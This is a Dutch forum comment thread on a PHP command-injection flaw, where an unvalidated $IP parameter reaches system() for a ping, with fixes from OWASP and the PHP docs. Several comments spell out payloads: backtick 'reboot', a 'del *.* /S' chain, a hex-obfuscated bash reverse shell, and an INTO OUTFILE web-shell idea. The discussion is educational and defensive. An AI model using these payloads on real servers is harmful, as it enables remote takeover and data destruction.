Reacties (23)
powershell command injection:
Zie o.m. https://social.technet.microsoft.com/Forums/lync/en-US/40a85c85-1274-4f59-9e54-ad67c4f844f6/trying-to-get-the-ip-address-out-of-a-ping-command-using-regex?forum=winserverpowershell & https://www.h3xed.com/windows/how-to-get-networked-computer-name-from-ip-address-lan
Bewijst weer dat dat in combinatie met PHP inert onveilig kan zijn,
luntrus
Zie o.m. https://social.technet.microsoft.com/Forums/lync/en-US/40a85c85-1274-4f59-9e54-ad67c4f844f6/trying-to-get-the-ip-address-out-of-a-ping-command-using-regex?forum=winserverpowershell & https://www.h3xed.com/windows/how-to-get-networked-computer-name-from-ip-address-lan
Bewijst weer dat dat in combinatie met PHP inert onveilig kan zijn,
luntrus
15-10-2018, 11:22 door
Bladie
Huh? Een ping uitvoeren op de client die een website bezoekt? Waarom?
WTF kan inderdaad een goed antwoord zijn. Volgens mij geeft CSRF een meer algemene beschrijving van het hier gebruikte mechanisme...
WTF kan inderdaad een goed antwoord zijn. Volgens mij geeft CSRF een meer algemene beschrijving van het hier gebruikte mechanisme...
Door Bladie: Huh? Een ping uitvoeren op de client die een website bezoekt? Waarom?
WTF kan inderdaad een goed antwoord zijn. Volgens mij geeft CSRF een meer algemene beschrijving van het hier gebruikte mechanisme...
Het is niet de client, maar de server die de ping uitvoert, en deze pingt ook niet de client, maar een niet gevalideerde variabele $IP, gezet door de client... dus command injection...WTF kan inderdaad een goed antwoord zijn. Volgens mij geeft CSRF een meer algemene beschrijving van het hier gebruikte mechanisme...
15-10-2018, 11:57 door
Bladie
Door Anoniem:
Met "op" bedoelde ik "naar" - inderdaad vanaf de server naar de client.Door Bladie: Huh? Een ping uitvoeren op de client die een website bezoekt? Waarom?
WTF kan inderdaad een goed antwoord zijn. Volgens mij geeft CSRF een meer algemene beschrijving van het hier gebruikte mechanisme...
Het is niet de client, maar de server die de ping uitvoert, en deze pingt ook niet de client, maar een niet gevalideerde variabele $IP, gezet door de client... dus command injection...WTF kan inderdaad een goed antwoord zijn. Volgens mij geeft CSRF een meer algemene beschrijving van het hier gebruikte mechanisme...
Meer voorbeelden hiervan en een algemene omschrijving:
https://www.owasp.org/index.php/Command_Injection
en daarna de verdediging tegen deze vorm van het proberen uit te voeren van arbitraire code:
https://www.owasp.org/index.php/OS_Command_Injection_Defense_Cheat_Sheet
Men gaat steeds meer werken met cheat-sheets ernaast.
luntrus
https://www.owasp.org/index.php/Command_Injection
en daarna de verdediging tegen deze vorm van het proberen uit te voeren van arbitraire code:
https://www.owasp.org/index.php/OS_Command_Injection_Defense_Cheat_Sheet
Men gaat steeds meer werken met cheat-sheets ernaast.
luntrus
Door Anoniem: Men gaat steeds meer werken met cheat-sheets ernaast.
Het grappige is dat jarenlang allerlei taaltjes naarvoren geschoven zijn als waren ze "veiliger", met name in pointer- en arraygebruik. Vervolgens wordt iets als PHP enorm populair, een taaltje dat werkelijk vol zit met slecht ontwerp en securityproblemen. Maar hee, de pointers en de arrays, die zijn redelijk afgeschermd!Echt handig, die cheat-sheets!
@ anoniem van 9:23
Voel goed waar je op kan doelen. Goed gezien met je observaties. +1.
Dat weten security gerichte lieden dus wel, maar de gemiddelde jonge "staart met een Apple" developer?
Vanaf het begin in de vorige eeuw waren talen al zo, dat ze niet geschikt waren om direct op het Internet te worden losgelaten, zie als goed voorbeeld JavaScript met de aanvankelijke HTML manco's.
Een DOM-xss scannetje is vaak "a joy forever" voor het manipulatieve brein, qua sources & sinks dan.
Kijk ook eens naar af te voeren kwetsbare libraries bij jQuery.
Sommigen weten niet eens de "omvang" van een array. Ik doe nogal wat javascript linten via een unpacker op errors en begin bijna te geloven, dat we het wellicht later echt beter via AI kunnen laten doen, die laten niet zoveel "undefined" staan.
Beetje moe van dit steeds te moeten herhalen. Tijdens toetsen bij Technische Informatica op de Hoge School zie ik genoeg.
Voel goed waar je op kan doelen. Goed gezien met je observaties. +1.
Dat weten security gerichte lieden dus wel, maar de gemiddelde jonge "staart met een Apple" developer?
Vanaf het begin in de vorige eeuw waren talen al zo, dat ze niet geschikt waren om direct op het Internet te worden losgelaten, zie als goed voorbeeld JavaScript met de aanvankelijke HTML manco's.
Een DOM-xss scannetje is vaak "a joy forever" voor het manipulatieve brein, qua sources & sinks dan.
Kijk ook eens naar af te voeren kwetsbare libraries bij jQuery.
Sommigen weten niet eens de "omvang" van een array. Ik doe nogal wat javascript linten via een unpacker op errors en begin bijna te geloven, dat we het wellicht later echt beter via AI kunnen laten doen, die laten niet zoveel "undefined" staan.
Beetje moe van dit steeds te moeten herhalen. Tijdens toetsen bij Technische Informatica op de Hoge School zie ik genoeg.
Het is geen attack of hack, het is gewoon by design, een website die kan pingen.
Misschien als er teveel data komt is het een dos..
Misschien als er teveel data komt is het een dos..
Door Anoniem: Het is geen attack of hack, het is gewoon by design, een website die kan pingen.
Misschien als er teveel data komt is het een dos..
Misschien als er teveel data komt is het een dos..
https://website?IP=`reboot`
Door The FOSS:
https://website?IP=`reboot`
Door Anoniem: Het is geen attack of hack, het is gewoon by design, een website die kan pingen.
Misschien als er teveel data komt is het een dos..
Misschien als er teveel data komt is het een dos..
https://website?IP=`reboot`
Mag hopen dat die site niet als root draait, in dat geval zou je gelijk hebben en anders niet.
Door Anoniem:
Oh kom op. Dat de demonstratie niet elders gegarandeerd precies reproduceerbaar is betekent niet dat er geen probleem is.Door The FOSS:
Mag hopen dat die site niet als root draait, in dat geval zou je gelijk hebben en anders niet.Door Anoniem: Het is geen attack of hack, het is gewoon by design, een website die kan pingen.
Misschien als er teveel data komt is het een dos..
https://website?IP=`reboot`Misschien als er teveel data komt is het een dos..
https://website.example?ip=reboot
ping reboot
doet inderdaad weinig, maar het kan ook anders:https://website.example?ip=localhost%3Fdel%20%2A%2E%2A%20%2F%53
gedecodeerd:
https://website.example?ip=localhost&del *.* /S
ping localhost&del *.* /S
dat zijn twee opdrachten:
ping localhost
del *.* /S
Door Anoniem:
gedecodeerd:
dat zijn twee opdrachten:
Dat ziet eruit alsof system() een command shell gebruikt om het commando uit te voeren. Dat staat zo te zien niet met zoveel woorden in de documentatie van system() [1], maar er is wel een waarschuwing dat je escapeshellarg() of escapeshellcmd() moet gebruiken om ellende te voorkomen, dus dat bevestigt het gebruik van een shell of van een ingebouwde commandline-ontleding met soortgelijke risico's.https://website.example?ip=localhost%3Fdel%20%2A%2E%2A%20%2F%53
gedecodeerd:
https://website.example?ip=localhost&del *.* /S
ping localhost&del *.* /S
dat zijn twee opdrachten:
ping localhost
del *.* /S
Ik heb in de documentatie verwijzingen gevolgd naar alternatieve manieren om commando's uit te voeren, en zo te zien is bij alle varianten het commando een string en moet je als programmeur zorgen dat je een van de genoemde escape-functies aanroept om ze veilig(er) te maken.
Wat me verbaast is dat er niet (zoals bijvoorbeeld in Python) een variant is waar het commando en argumenten als array van strings doorgegeven worden. Daar komt geen shell aan te pas (tenzij je er moeite voor doet), je roept het programma rechtstreeks aan en de argumenten die je doorgeeft zijn de argumenten die het programma ontvangt. De shell-interpretaties van commandoregels sla je over en de bijbehorende risico's ook.
Over wat het goede antwoord op de vraag is kan je nog van mening verschillen, het statement is kwetsbaar voor command injection maar het is het op zich niet. Het is wel een WTF als een programmeur het statement zo schrijft en ook dat PHP hier een onveilige default hanteert terwijl dat makkelijk genoeg beter kan.
Door Anoniem: Staat PHP in safe mode of niet?
De documentatie daarvan bevat ook een waarschuwing:Warning This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
PHP zit al op versie 7.1.23, dus ga maar niet uit van safe mode.[1] http://php.net/manual/en/function.system.php
[2] http://php.net/manual/en/features.safe-mode.php
Waard om door te nemen https://paragonie.com/quick-answers
Er is meer aan de hand rond PHP beveiliging, dan men meestal op het eerste oog aannemen wil.
Als 'SELECT 'evil code here' INTO OUTFILE '/var/www/reverse_shell.php' lukt onder bepaalde omstandigheden,
kan er sprake zijn van een complete overname van de server.
SQL, LDAP, OS Command, en XPath Injectie techniken blijven in de top tien staan.
Input, input en nog eens input opschonen is het devies.
Er is meer aan de hand rond PHP beveiliging, dan men meestal op het eerste oog aannemen wil.
Als 'SELECT 'evil code here' INTO OUTFILE '/var/www/reverse_shell.php' lukt onder bepaalde omstandigheden,
kan er sprake zijn van een complete overname van de server.
SQL, LDAP, OS Command, en XPath Injectie techniken blijven in de top tien staan.
Input, input en nog eens input opschonen is het devies.
http://website.example?ip=127.0.0.1;echo 62617368202d69203e26202f6465762f7463702f3139322e3136382e312e3131342f3132333420303e2631| xxd -r -p|bash
of zoiets.....
of zoiets.....
Door Anoniem:
gedecodeerd:
dat zijn twee opdrachten:
https://website.example?ip=reboot
ping reboot
doet inderdaad weinig, maar het kan ook anders:https://website.example?ip=localhost%3Fdel%20%2A%2E%2A%20%2F%53
gedecodeerd:
https://website.example?ip=localhost&del *.* /S
ping localhost&del *.* /S
dat zijn twee opdrachten:
ping localhost
del *.* /S
Maar er stond niet
https://website.example?ip=reboot
er stond https://website.example?ip=`reboot`
Zoek de verschillen.....
Door Anoniem:
Ik heb in de documentatie verwijzingen gevolgd naar alternatieve manieren om commando's uit te voeren, en zo te zien is bij alle varianten het commando een string en moet je als programmeur zorgen dat je een van de genoemde escape-functies aanroept om ze veilig(er) te maken.
Wat me verbaast is dat er niet (zoals bijvoorbeeld in Python) een variant is waar het commando en argumenten als array van strings doorgegeven worden. Daar komt geen shell aan te pas (tenzij je er moeite voor doet), je roept het programma rechtstreeks aan en de argumenten die je doorgeeft zijn de argumenten die het programma ontvangt. De shell-interpretaties van commandoregels sla je over en de bijbehorende risico's ook.
Over wat het goede antwoord op de vraag is kan je nog van mening verschillen, het statement is kwetsbaar voor command injection maar het is het op zich niet. Het is wel een WTF als een programmeur het statement zo schrijft en ook dat PHP hier een onveilige default hanteert terwijl dat makkelijk genoeg beter kan.
[1] http://php.net/manual/en/function.system.php
[2] http://php.net/manual/en/features.safe-mode.php
Door Anoniem:
gedecodeerd:
dat zijn twee opdrachten:
Dat ziet eruit alsof system() een command shell gebruikt om het commando uit te voeren. Dat staat zo te zien niet met zoveel woorden in de documentatie van system() [1], maar er is wel een waarschuwing dat je escapeshellarg() of escapeshellcmd() moet gebruiken om ellende te voorkomen, dus dat bevestigt het gebruik van een shell of van een ingebouwde commandline-ontleding met soortgelijke risico's.https://website.example?ip=localhost%3Fdel%20%2A%2E%2A%20%2F%53
gedecodeerd:
https://website.example?ip=localhost&del *.* /S
ping localhost&del *.* /S
dat zijn twee opdrachten:
ping localhost
del *.* /S
Ik heb in de documentatie verwijzingen gevolgd naar alternatieve manieren om commando's uit te voeren, en zo te zien is bij alle varianten het commando een string en moet je als programmeur zorgen dat je een van de genoemde escape-functies aanroept om ze veilig(er) te maken.
Wat me verbaast is dat er niet (zoals bijvoorbeeld in Python) een variant is waar het commando en argumenten als array van strings doorgegeven worden. Daar komt geen shell aan te pas (tenzij je er moeite voor doet), je roept het programma rechtstreeks aan en de argumenten die je doorgeeft zijn de argumenten die het programma ontvangt. De shell-interpretaties van commandoregels sla je over en de bijbehorende risico's ook.
Over wat het goede antwoord op de vraag is kan je nog van mening verschillen, het statement is kwetsbaar voor command injection maar het is het op zich niet. Het is wel een WTF als een programmeur het statement zo schrijft en ook dat PHP hier een onveilige default hanteert terwijl dat makkelijk genoeg beter kan.
Door Anoniem: Staat PHP in safe mode of niet?
De documentatie daarvan bevat ook een waarschuwing:Warning This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
PHP zit al op versie 7.1.23, dus ga maar niet uit van safe mode.[1] http://php.net/manual/en/function.system.php
[2] http://php.net/manual/en/features.safe-mode.php
https://website.example?ip=localhost&del *.* /S
dit wordt niet uitgevoerd. Het &-teken wordt door de web server gezien als extra GET parameter en zal deze niet uitvoeren.Door Anoniem:
https://website.example?ip=localhost&del *.* /S
dit wordt niet uitgevoerd. Het &-teken wordt door de web server gezien als extra GET parameter en zal deze niet uitvoeren.Maar zo wordt de HTTP GET niet gedaan. Die wordt gecodeerd met % encoding aan de server doorgegeven. De vraag is dus of de GET parameters voor of na decoderen wordt geinterpreteerd.
Door Anoniem: Waard om door te nemen https://paragonie.com/quick-answers
Er is meer aan de hand rond PHP beveiliging, dan men meestal op het eerste oog aannemen wil.
Als 'SELECT 'evil code here' INTO OUTFILE '/var/www/reverse_shell.php' lukt onder bepaalde omstandigheden,
kan er sprake zijn van een complete overname van de server.
SQL, LDAP, OS Command, en XPath Injectie techniken blijven in de top tien staan.
Input, input en nog eens input opschonen is het devies.
Er is meer aan de hand rond PHP beveiliging, dan men meestal op het eerste oog aannemen wil.
Als 'SELECT 'evil code here' INTO OUTFILE '/var/www/reverse_shell.php' lukt onder bepaalde omstandigheden,
kan er sprake zijn van een complete overname van de server.
SQL, LDAP, OS Command, en XPath Injectie techniken blijven in de top tien staan.
Input, input en nog eens input opschonen is het devies.
Een beetje php-programmeur zal een dergelijke query nooit zo gebruiken.
Allereerst schrijf je de output weg naar een php-file, die ook nog eens vanaf het web benaderbaar is. Nooit doen!
Ten tweede ga je ervan uit dat wat na SELECT komt door gebruikersinput wordt gevormd. Nooit doen! Kolomnamen horen niet uit gebruikersinput te komen. Dat geldt ook voor het pad + filename.
Verder, gebruik op z'n minst mysqli i.p.v. mysql, daarmee is sql-injection zo goed als onmogelijk. Let daarbij op dat wat je met prepare naar de server stuurt nooit gebruikersinput bevat. Die koppel je met bind_param.
Wat betreft de pollvraag, hetzelfde verhaal als hierboven: een beetje php-programmeur zal dit nooit op deze manier in z'n code opnemen.
Het ip-adres dat via GET binnenkomt hoort op z'n minst gevalideerd te worden. Dat kan als volgt:
if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) != '') ... dan pas pingen.
Daarbij is het altijd verstandig om POST- en GET-parameters vooraf te controleren met isset() en in een variable te zetten. Dus zoiets:
$ip = isset($_GET['ip']) ? $_GET['ip'] : '';
Aan de andere kant vraag ik me af waarom er gepingd moet worden naar een host die door de bezoeker wordt opgegeven. Een onnodig risico.
Door Anoniem: Dat ziet eruit alsof system() een command shell gebruikt om het commando uit te voeren. Dat staat zo te zien niet met zoveel woorden in de documentatie van system() [1]
Niet direct, maar lees even mee met je url:``system — Execute an external program and display the output [...]
system() is just like the C version of the function in that it executes the given command and outputs the result. ''
Dus dan pak je de documentatie van een willekeurige libc er even bij, bijvoorbeeld
https://www.freebsd.org/cgi/man.cgi?query=system
En we zien:
``system -- pass a command to the shell''
Dit is heel geniepig van PHP, dat ze heel veel functies blind uit C (libc) beschikbaar maken ongeacht of dat niet toevallig problemen kan opleveren of dat het past binnen een duidelijk programmeermodel, logisch want PHP heeft die notie niet. Dus dit is gewoon weer eens een valkuil die voor ervaren C-programmeurs duidelijk zichtbaar aanwezig is, maar voor "pure" PHP-"programmeurs" dus kennelijk gewoon niet.
Wat me verbaast is dat er niet (zoals bijvoorbeeld in Python) een variant is waar het commando en argumenten als array van strings doorgegeven worden.
Welke bedoel je? Daar komt geen shell aan te pas (tenzij je er moeite voor doet), je roept het programma rechtstreeks aan en de argumenten die je doorgeeft zijn de argumenten die het programma ontvangt. De shell-interpretaties van commandoregels sla je over en de bijbehorende risico's ook.
Het is niet os.system():https://docs.python.org/2/library/os.html#os.system
``os.system(command): Execute the command (a string) in a subshell. This is implemented by calling the Standard C function system(), and has the same limitations.''
Maar python heeft wel vaker iets van een eigen idee dat ze dan als zodanig presenteren, dat is wel zo.
Reageren
Deze posting is gelocked. Reageren is niet meer mogelijk.
Netwerk Security Engineer
Luchtverkeersleiding Nederland
Als Netwerk Security Engineer ontwerp en optimaliseer je onze technische netwerk- en beveiligingsinfrastructuur. Je stuurt tech-nische veranderingen aan op basis van de gestelde architectuur kaders en helpt mee met de uitvoering ervan. Ben jij een gedreven professional met passie voor netwerk-beveiliging? Dan is deze functie als Netwerk Security Engineer bij Luchtverkeersleiding Nederland (LVNL) iets voor jou!
Lead Network Security Engineer
Luchtverkeersleiding Nederland
Word Lead Network Security Engineer bij LVNL. Ontwerp en implementeer security-oplossingen die de luchtverkeersleidings-systemen veilig houden. Solliciteer nu en draag bij aan onze cyberweerbaarheid! Als Lead Network Security Engineer bij LVNL ben je verantwoordelijk voor het ontwerpen, implementeren en optimaliseren van de netwerkbeveiliging die cruciaal is voor de veilige en efficiënte werking van het luchtverkeersleidingssysteem in Nederland.
Junior DevOps Engineer
Certified Secure is op zoek naar een Junior DevOps Engineer. Deze functie is een stuk interessanter dan de term doet vermoeden! Om jou als potentiële nieuwe collega meteen te laten zien wat we doen hebben we speciaal voor jou een selectie gemaakt van een aantal leuke security challenges. Are you ready for a challenge?